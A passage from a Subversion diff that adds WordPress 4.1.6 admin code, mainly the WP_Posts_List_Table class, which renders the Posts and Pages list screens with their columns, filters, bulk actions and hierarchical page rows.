+					 *                            'Drop-ins', 'Search'.
+					 */
+					$plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status );
+					echo implode( ' | ', $plugin_meta );
+
+					echo "</div></td>";
+					break;
+				default:
+					echo "<td class='$column_name column-$column_name'$style>";
+
+					/**
+					 * Fires inside each custom column of the Plugins list table.
+					 *
+					 * @since 3.1.0
+					 *
+					 * @param string $column_name Name of the column.
+					 * @param string $plugin_file Path to the plugin file.
+					 * @param array  $plugin_data An array of plugin data.
+					 */
+					do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data );
+					echo "</td>";
+			}
+		}
+
+		echo "</tr>";
+
+		/**
+		 * Fires after each row in the Plugins list table.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $plugin_file Path to the plugin file, relative to the plugins directory.
+		 * @param array  $plugin_data An array of plugin data.
+		 * @param string $status      Status of the plugin. Defaults are 'All', 'Active',
+		 *                            'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use',
+		 *                            'Drop-ins', 'Search'.
+		 */
+		do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status );
+
+		/**
+		 * Fires after each specific row in the Plugins list table.
+		 *
+		 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
+		 * to the plugin file, relative to the plugins directory.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $plugin_file Path to the plugin file, relative to the plugins directory.
+		 * @param array  $plugin_data An array of plugin data.
+		 * @param string $status      Status of the plugin. Defaults are 'All', 'Active',
+		 *                            'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use',
+		 *                            'Drop-ins', 'Search'.
+		 */
+		do_action( "after_plugin_row_$plugin_file", $plugin_file, $plugin_data, $status );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-posts-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-posts-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-posts-list-table.php	(revision 33402)
@@ -0,0 +1,1344 @@
+<?php
+/**
+ * Posts List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Posts_List_Table extends WP_List_Table {
+
+	/**
+	 * Whether the items should be displayed hierarchically or linearly
+	 *
+	 * @since 3.1.0
+	 * @var bool
+	 * @access protected
+	 */
+	protected $hierarchical_display;
+
+	/**
+	 * Holds the number of pending comments for each post
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 * @access protected
+	 */
+	protected $comment_pending_count;
+
+	/**
+	 * Holds the number of posts for this user
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 * @access private
+	 */
+	private $user_posts_count;
+
+	/**
+	 * Holds the number of posts which are sticky.
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 * @access private
+	 */
+	private $sticky_posts_count = 0;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $post_type_object, $wpdb;
+
+		parent::__construct( array(
+			'plural' => 'posts',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$post_type = $this->screen->post_type;
+		$post_type_object = get_post_type_object( $post_type );
+
+		if ( !current_user_can( $post_type_object->cap->edit_others_posts ) ) {
+			$exclude_states = get_post_stati( array( 'show_in_admin_all_list' => false ) );
+			$this->user_posts_count = $wpdb->get_var( $wpdb->prepare( "
+				SELECT COUNT( 1 ) FROM $wpdb->posts
+				WHERE post_type = %s AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
+				AND post_author = %d
+			", $post_type, get_current_user_id() ) );
+
+			if ( $this->user_posts_count && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) )
+				$_GET['author'] = get_current_user_id();
+		}
+
+		if ( 'post' == $post_type && $sticky_posts = get_option( 'sticky_posts' ) ) {
+			$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );
+			$this->sticky_posts_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) );
+		}
+	}
+
+	public function ajax_user_can() {
+		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
+	}
+
+	public function prepare_items() {
+		global $avail_post_stati, $wp_query, $per_page, $mode;
+
+		$avail_post_stati = wp_edit_posts_query();
+
+		$this->hierarchical_display = ( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' == $wp_query->query['orderby'] );
+
+		$total_items = $this->hierarchical_display ? $wp_query->post_count : $wp_query->found_posts;
+
+		$post_type = $this->screen->post_type;
+		$per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );
+
+		/** This filter is documented in wp-admin/includes/post.php */
+ 		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );
+
+		if ( $this->hierarchical_display )
+			$total_pages = ceil( $total_items / $per_page );
+		else
+			$total_pages = $wp_query->max_num_pages;
+
+		if ( ! empty( $_REQUEST['mode'] ) ) {
+			$mode = $_REQUEST['mode'] == 'excerpt' ? 'excerpt' : 'list';
+			set_user_setting ( 'posts_list_mode', $mode );
+		} else {
+			$mode = get_user_setting ( 'posts_list_mode', 'list' );
+		}
+
+		$this->is_trash = isset( $_REQUEST['post_status'] ) && $_REQUEST['post_status'] == 'trash';
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_items,
+			'total_pages' => $total_pages,
+			'per_page' => $per_page
+		) );
+	}
+
+	public function has_items() {
+		return have_posts();
+	}
+
+	public function no_items() {
+		if ( isset( $_REQUEST['post_status'] ) && 'trash' == $_REQUEST['post_status'] )
+			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
+		else
+			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
+	}
+
+	protected function get_views() {
+		global $locked_post_status, $avail_post_stati;
+
+		$post_type = $this->screen->post_type;
+
+		if ( !empty($locked_post_status) )
+			return array();
+
+		$status_links = array();
+		$num_posts = wp_count_posts( $post_type, 'readable' );
+		$class = '';
+		$allposts = '';
+
+		$current_user_id = get_current_user_id();
+
+		if ( $this->user_posts_count ) {
+			if ( isset( $_GET['author'] ) && ( $_GET['author'] == $current_user_id ) )
+				$class = ' class="current"';
+			$status_links['mine'] = "<a href='edit.php?post_type=$post_type&author=$current_user_id'$class>" . sprintf( _nx( 'Mine <span class="count">(%s)</span>', 'Mine <span class="count">(%s)</span>', $this->user_posts_count, 'posts' ), number_format_i18n( $this->user_posts_count ) ) . '</a>';
+			$allposts = '&all_posts=1';
+		}
+
+		$total_posts = array_sum( (array) $num_posts );
+
+		// Subtract post types that are not included in the admin all list.
+		foreach ( get_post_stati( array('show_in_admin_all_list' => false) ) as $state )
+			$total_posts -= $num_posts->$state;
+
+		$class = empty( $class ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : '';
+		$status_links['all'] = "<a href='edit.php?post_type=$post_type{$allposts}'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'posts' ), number_format_i18n( $total_posts ) ) . '</a>';
+
+		foreach ( get_post_stati(array('show_in_admin_status_list' => true), 'objects') as $status ) {
+			$class = '';
+
+			$status_name = $status->name;
+
+			if ( !in_array( $status_name, $avail_post_stati ) )
+				continue;
+
+			if ( empty( $num_posts->$status_name ) )
+				continue;
+
+			if ( isset($_REQUEST['post_status']) && $status_name == $_REQUEST['post_status'] )
+				$class = ' class="current"';
+
+			$status_links[$status_name] = "<a href='edit.php?post_status=$status_name&amp;post_type=$post_type'$class>" . sprintf( translate_nooped_plural( $status->label_count, $num_posts->$status_name ), number_format_i18n( $num_posts->$status_name ) ) . '</a>';
+		}
+
+		if ( ! empty( $this->sticky_posts_count ) ) {
+			$class = ! empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : '';
+
+			$sticky_link = array( 'sticky' => "<a href='edit.php?post_type=$post_type&amp;show_sticky=1'$class>" . sprintf( _nx( 'Sticky <span class="count">(%s)</span>', 'Sticky <span class="count">(%s)</span>', $this->sticky_posts_count, 'posts' ), number_format_i18n( $this->sticky_posts_count ) ) . '</a>' );
+
+			// Sticky comes after Publish, or if not listed, after All.
+			$split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ) );
+			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
+		}
+
+		return $status_links;
+	}
+
+	protected function get_bulk_actions() {
+		$actions = array();
+		$post_type_obj = get_post_type_object( $this->screen->post_type );
+
+		if ( $this->is_trash ) {
+			$actions['untrash'] = __( 'Restore' );
+		} else {
+			$actions['edit'] = __( 'Edit' );
+		}
+
+		if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
+			if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
+				$actions['delete'] = __( 'Delete Permanently' );
+			} else {
+				$actions['trash'] = __( 'Move to Trash' );
+			}
+		}
+
+		return $actions;
+	}
+
+	/**
+	 * @global int $cat
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+		global $cat;
+?>
+		<div class="alignleft actions">
+<?php
+		if ( 'top' == $which && !is_singular() ) {
+
+			$this->months_dropdown( $this->screen->post_type );
+
+			if ( is_object_in_taxonomy( $this->screen->post_type, 'category' ) ) {
+				$dropdown_options = array(
+					'show_option_all' => __( 'All categories' ),
+					'hide_empty' => 0,
+					'hierarchical' => 1,
+					'show_count' => 0,
+					'orderby' => 'name',
+					'selected' => $cat
+				);
+
+				echo '<label class="screen-reader-text" for="cat">' . __( 'Filter by category' ) . '</label>';
+				wp_dropdown_categories( $dropdown_options );
+			}
+
+			/**
+			 * Fires before the Filter button on the Posts and Pages list tables.
+			 *
+			 * The Filter button allows sorting by date and/or category on the
+			 * Posts list table, and sorting by date on the Pages list table.
+			 *
+			 * @since 2.1.0
+			 */
+			do_action( 'restrict_manage_posts' );
+
+			submit_button( __( 'Filter' ), 'button', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+		}
+
+		if ( $this->is_trash && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) ) {
+			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
+		}
+?>
+		</div>
+<?php
+	}
+
+	public function current_action() {
+		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
+			return 'delete_all';
+
+		return parent::current_action();
+	}
+
+	/**
+	 * @global string $mode
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		global $mode;
+
+		parent::pagination( $which );
+
+		if ( 'top' == $which && ! is_post_type_hierarchical( $this->screen->post_type ) )
+			$this->view_switcher( $mode );
+	}
+
+	protected function get_table_classes() {
+		return array( 'widefat', 'fixed', is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts' );
+	}
+
+	public function get_columns() {
+		$post_type = $this->screen->post_type;
+
+		$posts_columns = array();
+
+		$posts_columns['cb'] = '<input type="checkbox" />';
+
+		/* translators: manage posts column name */
+		$posts_columns['title'] = _x( 'Title', 'column name' );
+
+		if ( post_type_supports( $post_type, 'author' ) ) {
+			$posts_columns['author'] = __( 'Author' );
+		}
+
+		$taxonomies = get_object_taxonomies( $post_type, 'objects' );
+		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );
+
+		/**
+		 * Filter the taxonomy columns in the Posts list table.
+		 *
+		 * The dynamic portion of the hook name, `$post_type`, refers to the post
+		 * type slug.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array  $taxonomies Array of taxonomies to show columns for.
+		 * @param string $post_type  The post type.
+		 */
+		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
+		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( 'category' == $taxonomy )
+				$column_key = 'categories';
+			elseif ( 'post_tag' == $taxonomy )
+				$column_key = 'tags';
+			else
+				$column_key = 'taxonomy-' . $taxonomy;
+
+			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
+		}
+
+		$post_status = !empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';
+		if ( post_type_supports( $post_type, 'comments' ) && !in_array( $post_status, array( 'pending', 'draft', 'future' ) ) )
+			$posts_columns['comments'] = '<span class="vers"><span title="' . esc_attr__( 'Comments' ) . '" class="comment-grey-bubble"></span></span>';
+
+		$posts_columns['date'] = __( 'Date' );
+
+		if ( 'page' == $post_type ) {
+
+			/**
+			 * Filter the columns displayed in the Pages list table.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param array $post_columns An array of column names.
+			 */
+			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
+		} else {
+
+			/**
+			 * Filter the columns displayed in the Posts list table.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param array  $posts_columns An array of column names.
+			 * @param string $post_type     The post type slug.
+			 */
+			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
+		}
+
+		/**
+		 * Filter the columns displayed in the Posts list table for a specific post type.
+		 *
+		 * The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $post_columns An array of column names.
+		 */
+		$posts_columns = apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
+
+		return $posts_columns;
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'title'    => 'title',
+			'parent'   => 'parent',
+			'comments' => 'comment_count',
+			'date'     => array( 'date', true )
+		);
+	}
+
+	/**
+	 * @global WP_Query $wp_query
+	 * @global int $per_page
+	 * @param array $posts
+	 * @param int $level
+	 */
+	public function display_rows( $posts = array(), $level = 0 ) {
+		global $wp_query, $per_page;
+
+		if ( empty( $posts ) )
+			$posts = $wp_query->posts;
+
+		add_filter( 'the_title', 'esc_html' );
+
+		if ( $this->hierarchical_display ) {
+			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
+		} else {
+			$this->_display_rows( $posts, $level );
+		}
+	}
+
+	/**
+	 * @global string $mode
+	 * @param array $posts
+	 * @param int $level
+	 */
+	private function _display_rows( $posts, $level = 0 ) {
+		global $mode;
+
+		// Create array of post IDs.
+		$post_ids = array();
+
+		foreach ( $posts as $a_post )
+			$post_ids[] = $a_post->ID;
+
+		$this->comment_pending_count = get_pending_comments_num( $post_ids );
+
+		foreach ( $posts as $post )
+			$this->single_row( $post, $level );
+	}
+
+	/**
+	 * @global wpdb $wpdb
+	 * @param array $pages
+	 * @param int $pagenum
+	 * @param int $per_page
+	 * @return bool|null
+	 */
+	private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
+		global $wpdb;
+
+		$level = 0;
+
+		if ( ! $pages ) {
+			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );
+
+			if ( ! $pages )
+				return false;
+		}
+
+		/*
+		 * Arrange pages into two parts: top level pages and children_pages
+		 * children_pages is two dimensional array, eg.
+		 * children_pages[10][] contains all sub-pages whose parent is 10.
+		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
+		 * If searching, ignore hierarchy and treat everything as top level
+		 */
+		if ( empty( $_REQUEST['s'] ) ) {
+
+			$top_level_pages = array();
+			$children_pages = array();
+
+			foreach ( $pages as $page ) {
+
+				// Catch and repair bad pages.
+				if ( $page->post_parent == $page->ID ) {
+					$page->post_parent = 0;
+					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
+					clean_post_cache( $page );
+				}
+
+				if ( 0 == $page->post_parent )
+					$top_level_pages[] = $page;
+				else
+					$children_pages[ $page->post_parent ][] = $page;
+			}
+
+			$pages = &$top_level_pages;
+		}
+
+		$count = 0;
+		$start = ( $pagenum - 1 ) * $per_page;
+		$end = $start + $per_page;
+
+		foreach ( $pages as $page ) {
+			if ( $count >= $end )
+				break;
+
+			if ( $count >= $start ) {
+				echo "\t";
+				$this->single_row( $page, $level );
+			}
+
+			$count++;
+
+			if ( isset( $children_pages ) )
+				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page );
+		}
+
+		// If it is the last pagenum and there are orphaned pages, display them with paging as well.
+		if ( isset( $children_pages ) && $count < $end ){
+			foreach ( $children_pages as $orphans ){
+				foreach ( $orphans as $op ) {
+					if ( $count >= $end )
+						break;
+
+					if ( $count >= $start ) {
+						echo "\t";
+						$this->single_row( $op, 0 );
+					}
+
+					$count++;
+				}
+			}
+		}
+	}
+
+	/**
+	 * Given a top level page ID, display the nested hierarchy of sub-pages
+	 * together with paging support
+	 *
+	 * @since 3.1.0 (Standalone function exists since 2.6.0)
+	 *
+	 * @param array $children_pages
+	 * @param int $count
+	 * @param int $parent
+	 * @param int $level
+	 * @param int $pagenum
+	 * @param int $per_page
+	 */
+	private function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page ) {
+
+		if ( ! isset( $children_pages[$parent] ) )
+			return;
+
+		$start = ( $pagenum - 1 ) * $per_page;
+		$end = $start + $per_page;
+
+		foreach ( $children_pages[$parent] as $page ) {
+
+			if ( $count >= $end )
+				break;
+
+			// If the page starts in a subtree, print the parents.
+			if ( $count == $start && $page->post_parent > 0 ) {
+				$my_parents = array();
+				$my_parent = $page->post_parent;
+				while ( $my_parent ) {
+					$my_parent = get_post( $my_parent );
+					$my_parents[] = $my_parent;
+					if ( !$my_parent->post_parent )
+						break;
+					$my_parent = $my_parent->post_parent;
+				}
+				$num_parents = count( $my_parents );
+				while ( $my_parent = array_pop( $my_parents ) ) {
+					echo "\t";
+					$this->single_row( $my_parent, $level - $num_parents );
+					$num_parents--;
+				}
+			}
+
+			if ( $count >= $start ) {
+				echo "\t";
+				$this->single_row( $page, $level );
+			}
+
+			$count++;
+
+			$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page );
+		}
+
+		unset( $children_pages[$parent] ); //required in order to keep track of orphans
+	}
+
+	/**
+	 * @global string $mode
+	 * @staticvar string $alternate
+	 * @param WP_Post $post
+	 * @param int $level
+	 */
+	public function single_row( $post, $level = 0 ) {
+		global $mode;
+		static $alternate;
+
+		$global_post = get_post();
+		$GLOBALS['post'] = $post;
+		setup_postdata( $post );
+
+		$edit_link = get_edit_post_link( $post->ID );
+		$title = _draft_or_post_title();
+		$post_type_object = get_post_type_object( $post->post_type );
+		$can_edit_post = current_user_can( 'edit_post', $post->ID );
+
+		$alternate = 'alternate' == $alternate ? '' : 'alternate';
+		$classes = $alternate . ' iedit author-' . ( get_current_user_id() == $post->post_author ? 'self' : 'other' );
+
+		$lock_holder = wp_check_post_lock( $post->ID );
+		if ( $lock_holder ) {
+			$classes .= ' wp-locked';
+			$lock_holder = get_userdata( $lock_holder );
+		}
+
+		if ( $post->post_parent ) {
+		    $count = count( get_post_ancestors( $post->ID ) );
+		    $classes .= ' level-'. $count;
+		} else {
+		    $classes .= ' level-0';
+		}
+	?>
+		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
+	<?php
+
+		list( $columns, $hidden ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$class = "class=\"$column_name column-$column_name\"";
+
+			$style = '';
+			if ( in_array( $column_name, $hidden ) )
+				$style = ' style="display:none;"';
+
+			$attributes = "$class$style";
+
+			switch ( $column_name ) {
+
+			case 'cb':
+			?>
+			<th scope="row" class="check-column">
+				<?php
+				if ( $can_edit_post ) {
+
+				?>
+				<label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php printf( __( 'Select %s' ), $title ); ?></label>
+				<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
+				<div class="locked-indicator"></div>
+				<?php
+				}
+				?>
+			</th>
+			<?php
+			break;
+
+			case 'title':
+				$attributes = 'class="post-title page-title column-title"' . $style;
+				if ( $this->hierarchical_display ) {
+					if ( 0 == $level && (int) $post->post_parent > 0 ) {
+						// Sent level 0 by accident, by default, or because we don't know the actual level.
+						$find_main_page = (int) $post->post_parent;
+						while ( $find_main_page > 0 ) {
+							$parent = get_post( $find_main_page );
+
+							if ( is_null( $parent ) )
+								break;
+
+							$level++;
+							$find_main_page = (int) $parent->post_parent;
+
+							if ( !isset( $parent_name ) ) {
+								/** This filter is documented in wp-includes/post-template.php */
+								$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
+							}
+						}
+					}
+				}
+
+				$pad = str_repeat( '&#8212; ', $level );
+				echo "<td $attributes><strong>";
+
+				if ( $format = get_post_format( $post->ID ) ) {
+					$label = get_post_format_string( $format );
+
+					echo '<a href="' . esc_url( add_query_arg( array( 'post_format' => $format, 'post_type' => $post->post_type ), 'edit.php' ) ) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> ";
+				}
+
+				if ( $can_edit_post && $post->post_status != 'trash' ) {
+					echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ) . '">' . $pad . $title . '</a>';
+				} else {
+					echo $pad . $title;
+				}
+				_post_states( $post );
+
+				if ( isset( $parent_name ) )
+					echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
+
+				echo "</strong>\n";
+
+				if ( $can_edit_post && $post->post_status != 'trash' ) {
+					if ( $lock_holder ) {
+						$locked_avatar = get_avatar( $lock_holder->ID, 18 );
+						$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
+					} else {
+						$locked_avatar = $locked_text = '';
+					}
+
+					echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
+				}
+
+				if ( ! $this->hierarchical_display && 'excerpt' == $mode && current_user_can( 'read_post', $post->ID ) )
+						the_excerpt();
+
+				$actions = array();
+				if ( $can_edit_post && 'trash' != $post->post_status ) {
+					$actions['edit'] = '<a href="' . get_edit_post_link( $post->ID, true ) . '" title="' . esc_attr__( 'Edit this item' ) . '">' . __( 'Edit' ) . '</a>';
+					$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr__( 'Edit this item inline' ) . '">' . __( 'Quick&nbsp;Edit' ) . '</a>';
+				}
+				if ( current_user_can( 'delete_post', $post->ID ) ) {
+					if ( 'trash' == $post->post_status )
+						$actions['untrash'] = "<a title='" . esc_attr__( 'Restore this item from the Trash' ) . "' href='" . wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ) . "'>" . __( 'Restore' ) . "</a>";
+					elseif ( EMPTY_TRASH_DAYS )
+						$actions['trash'] = "<a class='submitdelete' title='" . esc_attr__( 'Move this item to the Trash' ) . "' href='" . get_delete_post_link( $post->ID ) . "'>" . __( 'Trash' ) . "</a>";
+					if ( 'trash' == $post->post_status || !EMPTY_TRASH_DAYS )
+						$actions['delete'] = "<a class='submitdelete' title='" . esc_attr__( 'Delete this item permanently' ) . "' href='" . get_delete_post_link( $post->ID, '', true ) . "'>" . __( 'Delete Permanently' ) . "</a>";
+				}
+				if ( $post_type_object->public ) {
+					if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ) ) ) {
+						if ( $can_edit_post ) {
+							$preview_link = set_url_scheme( get_permalink( $post->ID ) );
+							/** This filter is documented in wp-admin/includes/meta-boxes.php */
+							$preview_link = apply_filters( 'preview_post_link', add_query_arg( 'preview', 'true', $preview_link ), $post );
+							$actions['view'] = '<a href="' . esc_url( $preview_link ) . '" title="' . esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ) . '" rel="permalink">' . __( 'Preview' ) . '</a>';
+						}
+					} elseif ( 'trash' != $post->post_status ) {
+						$actions['view'] = '<a href="' . get_permalink( $post->ID ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $title ) ) . '" rel="permalink">' . __( 'View' ) . '</a>';
+					}
+				}
+
+				if ( is_post_type_hierarchical( $post->post_type ) ) {
+
+					/**
+					 * Filter the array of row action links on the Pages list table.
+					 *
+					 * The filter is evaluated only for hierarchical post types.
+					 *
+					 * @since 2.8.0
+					 *
+					 * @param array   $actions An array of row action links. Defaults are
+					 *                         'Edit', 'Quick Edit', 'Restore, 'Trash',
+					 *                         'Delete Permanently', 'Preview', and 'View'.
+					 * @param WP_Post $post    The post object.
+					 */
+					$actions = apply_filters( 'page_row_actions', $actions, $post );
+				} else {
+
+					/**
+					 * Filter the array of row action links on the Posts list table.
+					 *
+					 * The filter is evaluated only for non-hierarchical post types.
+					 *
+					 * @since 2.8.0
+					 *
+					 * @param array   $actions An array of row action links. Defaults are
+					 *                         'Edit', 'Quick Edit', 'Restore, 'Trash',
+					 *                         'Delete Permanently', 'Preview', and 'View'.
+					 * @param WP_Post $post    The post object.
+					 */
+					$actions = apply_filters( 'post_row_actions', $actions, $post );
+				}
+
+				echo $this->row_actions( $actions );
+
+				get_inline_data( $post );
+				echo '</td>';
+			break;
+
+			case 'date':
+				if ( '0000-00-00 00:00:00' == $post->post_date ) {
+					$t_time = $h_time = __( 'Unpublished' );
+					$time_diff = 0;
+				} else {
+					$t_time = get_the_time( __( 'Y/m/d g:i:s A' ) );
+					$m_time = $post->post_date;
+					$time = get_post_time( 'G', true, $post );
+
+					$time_diff = time() - $time;
+
+					if ( $time_diff > 0 && $time_diff < DAY_IN_SECONDS )
+						$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
+					else
+						$h_time = mysql2date( __( 'Y/m/d' ), $m_time );
+				}
+
+				echo '<td ' . $attributes . '>';
+				if ( 'excerpt' == $mode ) {
+
+					/**
+					 * Filter the published time of the post.
+					 *
+					 * If $mode equals 'excerpt', the published time and date are both displayed.
+					 * If $mode equals 'list' (default), the publish date is displayed, with the
+					 * time and date together available as an abbreviation definition.
+					 *
+					 * @since 2.5.1
+					 *
+					 * @param array   $t_time      The published time.
+					 * @param WP_Post $post        Post object.
+					 * @param string  $column_name The column name.
+					 * @param string  $mode        The list display mode ('excerpt' or 'list').
+					 */
+					echo apply_filters( 'post_date_column_time', $t_time, $post, $column_name, $mode );
+				} else {
+
+					/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
+					echo '<abbr title="' . $t_time . '">' . apply_filters( 'post_date_column_time', $h_time, $post, $column_name, $mode ) . '</abbr>';
+				}
+				echo '<br />';
+				if ( 'publish' == $post->post_status ) {
+					_e( 'Published' );
+				} elseif ( 'future' == $post->post_status ) {
+					if ( $time_diff > 0 )
+						echo '<strong class="attention">' . __( 'Missed schedule' ) . '</strong>';
+					else
+						_e( 'Scheduled' );
+				} else {
+					_e( 'Last Modified' );
+				}
+				echo '</td>';
+			break;
+
+			case 'comments':
+			?>
+			<td <?php echo $attributes ?>><div class="post-com-count-wrapper">
+			<?php
+				$pending_comments = isset( $this->comment_pending_count[$post->ID] ) ? $this->comment_pending_count[$post->ID] : 0;
+
+				$this->comments_bubble( $post->ID, $pending_comments );
+			?>
+			</div></td>
+			<?php
+			break;
+
+			case 'author':
+			?>
+			<td <?php echo $attributes ?>><?php
+				printf( '<a href="%s">%s</a>',
+					esc_url( add_query_arg( array( 'post_type' => $post->post_type, 'author' => get_the_author_meta( 'ID' ) ), 'edit.php' )),
+					get_the_author()
+				);
+			?></td>
+			<?php
+			break;
+
+			default:
+				if ( 'categories' == $column_name )
+					$taxonomy = 'category';
+				elseif ( 'tags' == $column_name )
+					$taxonomy = 'post_tag';
+				elseif ( 0 === strpos( $column_name, 'taxonomy-' ) )
+					$taxonomy = substr( $column_name, 9 );
+				else
+					$taxonomy = false;
+
+				if ( $taxonomy ) {
+					$taxonomy_object = get_taxonomy( $taxonomy );
+					echo '<td ' . $attributes . '>';
+					if ( $terms = get_the_terms( $post->ID, $taxonomy ) ) {
+						$out = array();
+						foreach ( $terms as $t ) {
+							$posts_in_term_qv = array();
+							if ( 'post' != $post->post_type )
+								$posts_in_term_qv['post_type'] = $post->post_type;
+							if ( $taxonomy_object->query_var ) {
+								$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
+							} else {
+								$posts_in_term_qv['taxonomy'] = $taxonomy;
+								$posts_in_term_qv['term'] = $t->slug;
+							}
+
+							$out[] = sprintf( '<a href="%s">%s</a>',
+								esc_url( add_query_arg( $posts_in_term_qv, 'edit.php' ) ),
+								esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
+							);
+						}
+						/* translators: used between list items, there is a space after the comma */
+						echo join( __( ', ' ), $out );
+					} else {
+						echo '&#8212;';
+					}
+					echo '</td>';
+					break;
+				}
+			?>
+			<td <?php echo $attributes ?>><?php
+				if ( is_post_type_hierarchical( $post->post_type ) ) {
+
+					/**
+					 * Fires in each custom column on the Posts list table.
+					 *
+					 * This hook only fires if the current post type is hierarchical,
+					 * such as pages.
+					 *
+					 * @since 2.5.0
+					 *
+					 * @param string $column_name The name of the column to display.
+					 * @param int    $post_id     The current post ID.
+					 */
+					do_action( 'manage_pages_custom_column', $column_name, $post->ID );
+				} else {
+
+					/**
+					 * Fires in each custom column in the Posts list table.
+					 *
+					 * This hook only fires if the current post type is non-hierarchical,
